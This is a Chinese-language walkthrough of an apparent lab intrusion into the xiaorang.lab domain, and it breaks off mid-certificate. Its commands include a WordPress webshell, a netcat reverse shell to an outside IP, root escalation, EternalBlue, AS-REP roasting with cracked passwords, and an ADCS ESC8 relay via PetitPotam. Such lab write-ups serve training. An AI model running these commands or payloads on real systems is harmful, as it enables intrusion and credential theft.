外网
很经典的wordpress后台getshell，插件直接写马就行，写的时候不要启用
disable_function
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
按理说直接system马就行，eval的话是语言解释器，不是函数，禁用情况不知道，但是system会500，最后用eval了
GET /wp-content/plugins/hello.php?cmd=system('busybox+nc+211.159.175.21+2332+-e+/bin/bash'); HTTP/1.1 Host: 39.98.123.229 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:156.0) Gecko/20100101 Firefox/156.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: wordpress_af049f20670cc3c1b6e4eccb75914352=admin%7C1790130763%7CQjDrGJMg6m0XRsmFNxIgDvzxI6657La0lGjtKvYbvVQ%7Cf6bc54e8e97ef6879b25593606389ca8b682aaa3c160e39372168f5aa1fc81ba; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_af049f20670cc3c1b6e4eccb75914352=admin%7C1790130763%7CQjDrGJMg6m0XRsmFNxIgDvzxI6657La0lGjtKvYbvVQ%7C9d7ee18aba1e2df5c088c14ae624283eb02ffe28f59c85852af3bc43f6526f5b; wp_lang=en_US; wp-settings-time-1=1789958476 Upgrade-Insecure-Requests: 1 Priority: u=0, i
直接拿shell即可
我打的比较晚，直接copy-fail一把梭了，实际上也不需要提权
www-data@ubuntu-web:/tmp$ ls -al
total 52
drwxrwxrwt 2 root root 4096 Sep 21 10:49 .
drwxr-xr-x 18 root root 4096 Sep 21 10:30 ..
-rwxr-xr-x 1 www-data www-data 9800 Sep 21 10:48 22b008b7tcp
-rwxr-xr-x 1 www-data www-data 29728 Sep 21 10:49 copy-fail-c-x86_64-musl
www-data@ubuntu-web:/tmp$ ./copy-fail-c-x86_64-musl
[+] target: /usr/bin/su
[+] payload: 1728 bytes (432 iterations)
[+] page cache mutated; exec'ing target
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
写个公钥即可
内网
root@ubuntu-web:~# fscan -h 172.22.15.26/24
/ _ \ ___ ___ _ __ __ _ | | __
/ /// |/ | '/ ` |/ __| |/ /
/ /\____ \ (__| | | (| | (| <
_/ |/_|| _,|___||_
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.15.26 is alive
(icmp) Target 172.22.15.18 is alive
(icmp) Target 172.22.15.13 is alive
(icmp) Target 172.22.15.24 is alive
(icmp) Target 172.22.15.35 is alive
[] Icmp alive hosts len is: 5
172.22.15.24:80 open
172.22.15.18:80 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.13:135 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.18:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.13:139 open
[] alive ports len is: 18
start vulscan
[] NetInfo
[]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[] NetInfo
[]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[] NetInfo
[]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[] NetInfo
[]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[] NetBios 172.22.15.35 XIAORANG\XR-0687
[] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[] WebTitle http://172.22.15.26 code:200 len:39966 title:XIAORANG.LAB
[] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None
已完成 18/18
| IP | NetInfo | NetBios/主机名 | 系统 | 开放端口 | WebTitle | 漏洞/检测 |
|---|---|---|---|---|---|---|
| 172.22.15.13 | XR-DC01 | DC:XR-DC01.xiaorang.lab | Windows Server 2016 Standard 14393 | 88,135,139,445 | - | - |
| 172.22.15.18 | XR-CA | XR-CA.xiaorang.lab | Windows Server 2016 Standard 14393 | 80,135,139,445 | http://172.22.15.18 code:200 len:703 title:IIS Windows Server | PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect |
| 172.22.15.24 | XR-WIN08 | WORKGROUP\XR-WIN08 | Windows Server 2008 R2 Enterprise 7601 Service Pack 1 | 80,135,139,445,3306 | http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www http://172.22.15.24/www/sys/index.php code:200 len:135 title:None | MS17-010 |
| 172.22.15.35 | XR-0687 | XIAORANG\XR-0687 | - | 135,139,445 | - | - |
18是证书服务，24有永恒之蓝，把24 445转出来打，msf走代理全是问题
root@ubuntu-web:/# socat TCP-LISTEN:10086,reuseaddr,fork TCP4:172.22.15.24:445 &
[1] 2581
直接秒了就行，机器不在域内，价值也不是很大，可以上去抓一下hash看看，不过没有价值信息，打CA得要个域用户，可以去看数据库配置文件在C:\phpstudy_pro\WWW\config\my.php
┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# pc xfreerdp3 /v:172.22.15.24 /u:admin01 /p:'Config123!@#' /drive:share,/tmp/test/yunjing/dc /cert:ignore /sec:nla /tls:seclevel:0
9ed9d2a1640b54c6eb9581ce334b79ab:wangwei
cbdb423c741fcea593f0e522fdd417b0:wangfang
c7122a1349c22cb3c009da3613d242ab:123456
也就这三个，这里我尝试smb撞域内机器都上不去，其实是AS-REP Roasting
禁用了 Kerberos 预认证（DONT_REQ_PREAUTH）的账户。攻击者可以向域控（DC）为这些账户请求 AS-REP 响应，该响应包含用用户密码哈希加密的数据，随后可离线破解出明文密码
┌──(root㉿MJ)-[/tmp/test/yunjing] └─# pc impacket-GetNPUsers xiaorang.lab/ -usersfile user.txt -dc-ip 172.22.15.13 -no-pass -format hashcat -outputfile asrep.txt [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
$krb5asrep$23$lixiuying@XIAORANG.LAB:3fdb7b45e6e8ed7d47ca3bfbd05b67c2$0634adfd2363496fd906b6d34465aa1ed42e5498a1f49ebd3fcb00b5ba91c778fc58bfa45913cf3f32372c7db8a8a153635da260f596d515b10f93b9423fd7467b30efac7a0133ea16614d2a73bcb70644685cf1d26f1f24ee647219a61b9a671dbf38bbebc732d2ed9c5f48229410604f6af712fb491d5030d129b90d656c44aa781ba18fc2cfbff2a99c7e587fa7032c9c20f564c4f2ae35024b205c1f04321a1dc55ad204cc13dda4cb557329c9fee011b2036b35045100ba2deec9e1efbd4e4da2d4bf646d4e59724d334677922b2d71ad789943f58cec86e15a2e03379fd5444aa7c69f00ba9a148643
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
$krb5asrep$23$huachunmei@XIAORANG.LAB:af7b8497e5d913f0d6cdb3923e071b6c$43e84ee89cf7aa8bc13c5e51fce820c18bfbcab3b5c7b57526dbfcf3d602694af16e508629e9c673c8f2d9ebd316c7980636dc3f35df8500e32ff5ef826100bcc5ff319f185e3f8773770a1ded61385ecb65d8d71785bc2597e63eddf1622c1fddb5d589f6514fc27b47840bd915c782076b2661223ad7385282c146fbe6008bb5a11e29eb17c5772e5dcaa5939faba907263b3b722418675785870194f33e56390ea618e099f76ef6971a1b80330fceaaa2db1197b6ff9ef2e85c007d9c284fdc6cadc22815a5b403b6696f1b34948245c46fdff9b7f38da19a0e16fdbe26c056778df659dc4970bb749a8f
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] User lihongxia doesn't have UF_DONT_REQUIRE_PREAUTH set
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] User wangyulan doesn't have UF_DONT_REQUIRE_PREAUTH set
[proxychains] Strict chain ... 211.159.175.21:10001 ... 172.22.15.13:88 ... OK
[-] User chenjianhua doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# hashcat -m 18200 asrep.txt --show
$krb5asrep$23$lixiuying@XIAORANG.LAB:3fdb7b45e6e8ed7d47ca3bfbd05b67c2$0634adfd2363496fd906b6d34465aa1ed42e5498a1f49ebd3fcb00b5ba91c778fc58bfa45913cf3f32372c7db8a8a153635da260f596d515b10f93b9423fd7467b30efac7a0133ea16614d2a73bcb70644685cf1d26f1f24ee647219a61b9a671dbf38bbebc732d2ed9c5f48229410604f6af712fb491d5030d129b90d656c44aa781ba18fc2cfbff2a99c7e587fa7032c9c20f564c4f2ae35024b205c1f04321a1dc55ad204cc13dda4cb557329c9fee011b2036b35045100ba2deec9e1efbd4e4da2d4bf646d4e59724d334677922b2d71ad789943f58cec86e15a2e03379fd5444aa7c69f00ba9a148643:winniethepooh
$krb5asrep$23$huachunmei@XIAORANG.LAB:af7b8497e5d913f0d6cdb3923e071b6c$43e84ee89cf7aa8bc13c5e51fce820c18bfbcab3b5c7b57526dbfcf3d602694af16e508629e9c673c8f2d9ebd316c7980636dc3f35df8500e32ff5ef826100bcc5ff319f185e3f8773770a1ded61385ecb65d8d71785bc2597e63eddf1622c1fddb5d589f6514fc27b47840bd915c782076b2661223ad7385282c146fbe6008bb5a11e29eb17c5772e5dcaa5939faba907263b3b722418675785870194f33e56390ea618e099f76ef6971a1b80330fceaaa2db1197b6ff9ef2e85c007d9c284fdc6cadc22815a5b403b6696f1b34948245c46fdff9b7f38da19a0e16fdbe26c056778df659dc4970bb749a8f:1qaz2wsx
破解即可，两组凭据
┌──(root㉿MJ)-[/tmp/test/yunjing] └─# pc -q crackmapexec smb 172.22.15.35/24 -u lixiuying -p winniethepooh SMB 172.22.15.24 445 XR-WIN08 [*] Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (name:XR-WIN08) (domain:XR-WIN08) (signing:False) (SMBv1:True) SMB 172.22.15.13 445 XR-DC01 [*] Windows Server 2016 Standard 14393 x64 (name:XR-DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True) SMB 172.22.15.18 445 XR-CA [*] Windows Server 2016 Standard 14393 x64 (name:XR-CA) (domain:xiaorang.lab) (signing:False) (SMBv1:True) SMB 172.22.15.35 445 XR-0687 [*] Windows Server 2022 Build 20348 x64 (name:XR-0687) (domain:xiaorang.lab) (signing:False) (SMBv1:False) SMB 172.22.15.24 445 XR-WIN08 [-] XR-WIN08\lixiuying:winniethepooh STATUS_LOGON_FAILURE SMB 172.22.15.13 445 XR-DC01 [+] xiaorang.lab\lixiuying:winniethepooh SMB 172.22.15.18 445 XR-CA [+] xiaorang.lab\lixiuying:winniethepooh SMB 172.22.15.35 445 XR-0687 [+] xiaorang.lab\lixiuying:winniethepooh
┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# pc -q crackmapexec smb 172.22.15.35/24 -u huachunmei -p 1qaz2wsx
SMB 172.22.15.13 445 XR-DC01 [] Windows Server 2016 Standard 14393 x64 (name:XR-DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
SMB 172.22.15.18 445 XR-CA [] Windows Server 2016 Standard 14393 x64 (name:XR-CA) (domain:xiaorang.lab) (signing:False) (SMBv1:True)
SMB 172.22.15.24 445 XR-WIN08 [] Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (name:XR-WIN08) (domain:XR-WIN08) (signing:False) (SMBv1:True)
SMB 172.22.15.35 445 XR-0687 [] Windows Server 2022 Build 20348 x64 (name:XR-0687) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.15.13 445 XR-DC01 [+] xiaorang.lab\huachunmei:1qaz2wsx
SMB 172.22.15.18 445 XR-CA [+] xiaorang.lab\huachunmei:1qaz2wsx
SMB 172.22.15.24 445 XR-WIN08 [-] XR-WIN08\huachunmei:1qaz2wsx STATUS_LOGON_FAILURE
SMB 172.22.15.35 445 XR-0687 [+] xiaorang.lab\huachunmei:1qaz2wsx
两组都有效，接下来就能打CA了
┌──(root㉿MJ)-[/tmp/test/yunjing] └─# echo "172.22.15.13 xiaorang.lab XR-DC01.xiaorang.lab" >> /etc/hosts echo "172.22.15.18 XR-CA.xiaorang.lab" >> /etc/hosts┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# pc -q certipy-ad find -u 'huachunmei@xiaorang.lab' -p 1qaz2wsx -dc-ip 172.22.15.13 -ns 172.22.15.13 -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[] Finding certificate templates
[] Found 34 certificate templates
[] Finding certificate authorities
[] Found 1 certificate authority
[] Found 12 enabled certificate templates
[] Finding issuance policies
[] Found 14 issuance policies
[] Found 0 OIDs linked to templates
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:172.22.15.13@53 answered The DNS operation timed out.; Server Do53:172.22.15.13@53 answered The DNS operation timed out.; Server Do53:172.22.15.13@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[] Retrieving CA configuration for 'xiaorang-XR-CA-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[] Successfully retrieved CA configuration for 'xiaorang-XR-CA-CA'
[] Checking web enrollment for CA 'xiaorang-XR-CA-CA' @ 'XR-CA.xiaorang.lab'
[!] Error checking web enrollment: [SSL: UNEXPECTED_EOF_WHILE_READING] EOF occurred in violation of protocol (_ssl.c:1033)
[!] Use -debug to print a stacktrace
[] Enumeration output:
Certificate Authorities
0
CA Name : xiaorang-XR-CA-CA
DNS Name : XR-CA.xiaorang.lab
Certificate Subject : CN=xiaorang-XR-CA-CA, DC=xiaorang, DC=lab
Certificate Serial Number : 3ECFB0112E93BE9041059FA6DBB3C35A
Certificate Validity Start : 2023-06-03 07:19:59+00:00
Certificate Validity End : 2028-06-03 07:29:58+00:00
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : XIAORANG.LAB\Administrators
Access Rights
ManageCa : XIAORANG.LAB\Administrators
XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
ManageCertificates : XIAORANG.LAB\Administrators
XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
Enroll : XIAORANG.LAB\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
Certificate Templates : [!] Could not find any certificate templates
有ECS8漏洞
确认 Web 注册端点可访问
pc -q curl -v http://172.22.15.18/certsrv/
看到 401 Unauthorized 和 WWW-Authenticate: Negotiate 就说明支持 NTLM
启动 NTLM 中继
ntlmrelayx.py -t http://172.22.15.18/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -l /root/loot --no-http-server
强制认证
┌──(root㉿MJ)-[~/tools/Windows/PetitPotam] └─# pc -q python3 PetitPotam.py \ -u huachunmei -p 1qaz2wsx -d xiaorang.lab \ 172.22.15.26 172.22.15.13 /root/tools/Windows/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\ ' | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ _____ _ _ _ ___ _ | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:172.22.15.13[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
拿到域控机器账户的证书
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation[] Protocol Client LDAPS loaded..
[] Protocol Client LDAP loaded..
[] Protocol Client SMB loaded..
[] Protocol Client RPC loaded..
[] Protocol Client DCSYNC loaded..
[] Protocol Client IMAP loaded..
[] Protocol Client IMAPS loaded..
[] Protocol Client HTTP loaded..
[] Protocol Client HTTPS loaded..
[] Protocol Client SMTP loaded..
[] Protocol Client MSSQL loaded..
[] Running in relay mode to single host
[] Setting up SMB Server
[] Setting up WCF Server
[] Servers started, waiting for connections
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] Generating CSR...
[] CSR generated!
[] Getting certificate...
[] Skipping user XR-DC01$ since attack was already performed
[] Skipping user XR-DC01$ since attack was already performed
[] Skipping user XR-DC01$ since attack was already performed
[] Skipping user XR-DC01$ since attack was already performed
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] Skipping user XR-DC01$ since attack was already performed
[] SMBD-Thread-22: Connection from XIAORANG/XR-DC01$@172.22.15.13 controlled, attacking target http://172.22.15.18
[] HTTP server returned error code 200, treating as a successful login
[] Authenticating against http://172.22.15.18 as XIAORANG/XR-DC01$ SUCCEED
[] Skipping user XR-DC01$ since attack was already performed
[] GOT CERTIFICATE!
[*] Base64 certificate of user XR-DC01$:
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